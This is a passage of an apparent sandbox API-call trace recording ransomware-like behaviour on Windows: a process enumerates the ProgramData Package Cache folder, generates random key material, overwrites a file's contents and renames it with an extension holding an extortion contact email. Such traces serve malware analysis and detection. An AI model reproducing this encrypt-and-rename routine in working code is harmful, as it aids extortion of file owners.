	[0079.947] FindNextFileW (in: hFindFile=0x2d875b8, lpFindFileData=0x2e24fe0 | out: lpFindFileData=0x2e24fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0079.947] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0079.947] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0079.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49865c0
	[0079.947] wcscpy (in: _Dest=0x49865c0, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0079.947] wcscat (in: _Dest=0x49865c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\"
	[0079.947] wcscat (in: _Dest=0x49865c0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"
	[0092.257] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm")) returned 0x20
	[0092.257] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0092.257] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1394
	[0092.257] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0xe53fe4c | out: lpFileSize=0xe53fe4c*=626) returned 1
	[0092.257] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.258] ReadFile (in: hFile=0x1394, lpBuffer=0xe53fdd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe53fdcc, lpOverlapped=0x0 | out: lpBuffer=0xe53fdd0*, lpNumberOfBytesRead=0xe53fdcc*=0x4, lpOverlapped=0x0) returned 1
	[0092.258] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b00
	[0092.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0092.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0092.258] NtQuerySystemTime (in: CurrentTime=0xe53fdac | out: CurrentTime=0xe53fdac*=132251868189940295) returned 0x0
	[0092.258] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x9d54b527
	[0092.258] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xd8373fcf
	[0092.258] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xfba4b346
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xce6cb82d
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x6f3b8f70
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x1751540e
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xeb156deb
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xe23e0cdc
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x8b206b18
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x496d9493
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xdcc5355
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x19f1983f
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xe4c61a2b
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x8dce8882
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x6bd76275
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xe645e0d0
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xf98b38d3
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x12c17388
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x30d9bac6
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x88ac6760
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xa86e81df
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x79a3dea5
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x7816c87b
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x77412eaf
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x6e7c93d6
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x750929d6
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x3a79bc3e
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xd20ea04c
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x93951028
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x9b8d99f2
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0xc663038c
	[0092.259] RtlRandom (in: Seed=0xe53fdb8 | out: Seed=0xe53fdb8) returned 0x92033e90
	[0092.268] ReadFile (in: hFile=0x1394, lpBuffer=0x51088c8, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0xe53fda8, lpOverlapped=0x0 | out: lpBuffer=0x51088c8*, lpNumberOfBytesRead=0xe53fda8*=0x272, lpOverlapped=0x0) returned 1
	[0092.268] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.268] WriteFile (in: hFile=0x1394, lpBuffer=0x51150d0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0xe53fda4, lpOverlapped=0x0 | out: lpBuffer=0x51150d0*, lpNumberOfBytesWritten=0xe53fda4*=0x272, lpOverlapped=0x0) returned 1
	[0092.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0092.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0092.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0092.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51150d0) returned 1
	[0092.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51088c8) returned 1
	[0092.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabb0) returned 1
	[0092.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4781710
	[0092.270] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.270] WriteFile (in: hFile=0x1394, lpBuffer=0x4716ae0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xe53fe0c, lpOverlapped=0x0 | out: lpBuffer=0x4716ae0*, lpNumberOfBytesWritten=0xe53fe0c*=0x103, lpOverlapped=0x0) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bf0) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0092.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0092.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e8e8
	[0092.272] wcscpy (in: _Dest=0x491e8e8, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"
	[0092.272] wcscat (in: _Dest=0x491e8e8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.272] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xe53fdc4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4776b60
	[0092.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0092.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0092.275] NtQueryInformationFile (in: FileHandle=0x1394, IoStatusBlock=0xe53fdd0, FileInformation=0xe53fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe53fdd0, FileInformation=0xe53fda8) returned 0x0
	[0092.275] NtSetInformationFile (FileHandle=0x1394, IoStatusBlock=0xe53fdd0, FileInformation=0xe53fda8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e8e8) returned 1
	[0092.276] FlushFileBuffers (hFile=0x1394) returned 1
	[0093.278] CloseHandle (hObject=0x1394) 

Thread:
	id = 330
	os_tid = 0x1450

	[0076.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d61dc0
	[0076.870] wcscpy (in: _Dest=0x2d61dc0, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0076.870] wcscat (in: _Dest=0x2d61dc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\"
	[0076.870] wcscat (in: _Dest=0x2d61dc0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*"
	[0076.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e25248
	[0076.870] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2e25248 | out: lpFindFileData=0x2e25248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87478
	[0079.940] wcscmp (_String1=".", _String2=".") returned 0
	[0079.940] FindNextFileW (in: hFindFile=0x2d87478, lpFindFileData=0x2e25248 | out: lpFindFileData=0x2e25248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.940] wcscmp (_String1="..", _String2=".") returned 1
	[0079.940] wcscmp (_String1="..", _String2="..") returned 0
	[0079.940] FindNextFileW (in: hFindFile=0x2d87478, lpFindFileData=0x2e25248 | out: lpFindFileData=0x2e25248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.940] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.940] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2dda848
	[0079.940] wcscpy (in: _Dest=0x2dda848, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0079.940] wcscat (in: _Dest=0x2dda848, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\"
	[0079.940] wcscat (in: _Dest=0x2dda848, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.425] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.425] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\"
	[0092.425] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*"
	[0092.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.425] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.426] wcscmp (_String1=".", _String2=".") returned 0
	[0092.426] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.426] wcscmp (_String1="..", _String2=".") returned 1
	[0092.426] wcscmp (_String1="..", _String2="..") returned 0
	[0092.426] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.426] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1
	[0092.426] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1
	[0092.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e618
	[0092.426] wcscpy (in: _Dest=0x491e618, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.426] wcscat (in: _Dest=0x491e618, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\"
	[0092.426] wcscat (in: _Dest=0x491e618, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0092.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491d358
	[0092.427] wcscpy (in: _Dest=0x491d358, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0092.427] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\"
	[0092.427] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*"
	[0092.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.427] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.427] wcscmp (_String1=".", _String2=".") returned 0
	[0092.427] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.427] wcscmp (_String1="..", _String2=".") returned 1
	[0092.427] wcscmp (_String1="..", _String2="..") returned 0
	[0092.427] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.427] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.427] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.427] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.427] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1
	[0092.427] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1
	[0092.427] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.427] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0092.427] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.427] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
